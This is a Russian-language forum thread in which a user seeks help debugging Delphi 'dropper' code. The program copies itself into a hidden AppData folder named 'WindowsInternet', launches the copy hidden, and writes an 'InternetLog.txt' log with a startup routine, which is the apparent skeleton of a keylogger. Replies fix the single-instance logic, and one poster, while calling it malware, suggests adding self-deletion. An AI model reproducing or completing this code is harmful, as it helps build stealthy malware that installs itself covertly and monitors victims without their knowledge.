Проблема с дропом и запуском файла.

[iLnes]

Привет всем.
Уже с неделю борюсь с этой проблемой и решить никак не могу.
Сначало отпишу саму задачу и проблему:
Задача: Запускаем файл, он копирует сам себя в папку, запускает тот файл который скопировал, а сам завершается.
Проблема: Копирует нормально, запуск нормальный, но при повторном запуске висит в процессах. То есть, я запустил файл, он дропнул сам себя в папку, запусти копию (которую дропнул) и сам закрылся. И когда я повторно открыл файл 1 (не тот, который скопировался, а который дропал), то он висит в процессах и работает, заместо того чтобы закрываться.
Вообщем такой вот код:
Сканим процесс:

//****************Check process runnig*****************
function P_IsRunning(Name: String = ''): Boolean;
var
SnapshotHandle: THandle;
Entry: TProcessEntry32;
// BEGIN internal function 1
 function P_IsRunning_Compare: Boolean;
 begin
  Result := Entry.szExeFile = Name;
 end;
// END internal function 1
begin
 SnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if SnapshotHandle = 0 then
   begin
    Result := False;
    Exit;
   end;
 Entry.dwSize := SizeOf(TProcessEntry32);
  if not Process32First(SnapshotHandle, Entry) then
   begin
    Result := False;
    Exit;
   end;
  if P_IsRunning_Compare then
   begin
    Result := True;
    Exit;
   end;
  while Process32Next(SnapshotHandle, Entry) do
  if P_IsRunning_Compare then
  begin
   Result := True;
   Exit;
   end;
 Result := False;
end;

Сама работа дроппера:

begin
 WorkFolderFile := GetSpecialFolderPath(CSIDL_LOCAL_APPDATA) + '\WindowsInternet\';
 if (FileExists(WorkFolderFile + Drop_Name)=false) and (P_IsRunning(Drop_Name)=False) then
  begin
   CreateDirectory(pchar(WorkFolderFile),nil);
   CopyFile(PChar(ParamStr(0)), pchar(WorkFolderFile + Drop_Name), true);
   WinExec(Pchar(WorkFolderFile + Drop_Name), SW_HIDE);
   Halt;
  end;
  FH:=CreateFile(Pchar(WorkFolderFile + 'InternetLog.txt'),$40000000,$00000002,nil,4,0,0);
  LogoInFile;
  MakeStartDirective;
  loggern:='';
  starttimer1(1);
  starttimer2(10000);
  while True do
  sleep(100);
end.

[iLnes]

Можно ожидать помощи от кого-нибудь?

[Hacker19_90]

сморим

if (FileExists(WorkFolderFile + Drop_Name)=false) and (P_IsRunning(Drop_Name)=False)

Файл скопирован? да! равно false? нет!
файл запущен? да! равно false? нет!
нет и нет = НЕТ! значит

while True do
  sleep(100)

Вот и всё!
P.S.: Если что-то подобное ко мне попадёт я знаю где вас искать )))

[iLnes]

Сообщение от Hacker19_90

сморим

Файл скопирован? да! равно false? нет!
файл запущен? да! равно false? нет!
нет и нет = НЕТ! значит

Вот и всё!
P.S.: Если что-то подобное ко мне попадёт я знаю где вас искать )))

Частично Вас понял, но до конца проблема не могу решить)
Заменил это:

while True do
  sleep(100)

на это:

sleep(2000);

Но тогда после слипа в 2 секунды завершается и дропнутый файл (т.к дропер и файл, который дропаются идеинтичны, то так и получается).
Я вас понимаю, но как сделать так, чтобы работала - не знаю

[iLnes]

подниму.
Поможете?)

[iLnes]

Подниму тему.
Уверен, есть люди которые могут помочь.

[iLnes]

Подниму.
Все еще актуальна помощь.

[spamer]

Что-то не пойму общую идею - нужно сделать запуск одной копии приложения? Или что?

[iLnes]

Сообщение от spamer

Что-то не пойму общую идею - нужно сделать запуск одной копии приложения? Или что?

Да, только с некоторым пунктами:
запустить не себя 2 раза, а запустить тот файл, который мы скопировали в папку, а самому закрыться. В случаи, если запускают повторно, то тогда не запускаться а просто завершаться.
Сейчас вот такой код получился:

begin

 WorkFolderFile := GetSpecialFolderPath(CSIDL_LOCAL_APPDATA) + '\WindowsInternet\';

 if (FileExists(WorkFolderFile + Drop_Name)=True) then

  begin

   halt;

  end;

 CreateDirectory(pchar(WorkFolderFile),nil);

 SetFileAttributes(Pchar(WorkFolderFile),$00000002)  ;

 CopyFile(PChar(ParamStr(0)), pchar(WorkFolderFile + Drop_Name), true);

 SetFileAttributes(Pchar(WorkFolderFile + Drop_Name),$00000002);

 WinExec(Pchar(WorkFolderFile + Drop_Name), SW_HIDE);

 FH:=CreateFile(Pchar(WorkFolderFile + 'InternetLog.txt'),$40000000,$00000002,nil,4,0,0);

 SetFileAttributes(Pchar(WorkFolderFile + 'InternetLog.txt'),$00000002);

 LogoInFile;

 MakeStartDirective;

 loggern:='';

 starttimer1(1);

 starttimer2(10000);

 while True do

 sleep(100);

end.

Но проблема так и осталась, т.к:
Файл который копирует сам себя - цифра 1;
Файл который скопировался - цифра 2;
Файл под цифрой 1 запускает файл под цифрой 2, но т.к они оба одинаковы(ведь это копии друг друга) то файл под цифрой 2 видит, что этоа папка используется и завершается (
то папка используется, потому что до этого файл под цифрой 1 уже создал её, и файл под цифрой 2 как раз в ней и находиться и в ней и запускается). То есть, получается замкнутый круг. Файл 2 не может запуститься

[Lauri]

Вижу малварь кодите, тут такое не приветствуется
Делайте так
Копия в папку
Запуск
Самоудаление
Халт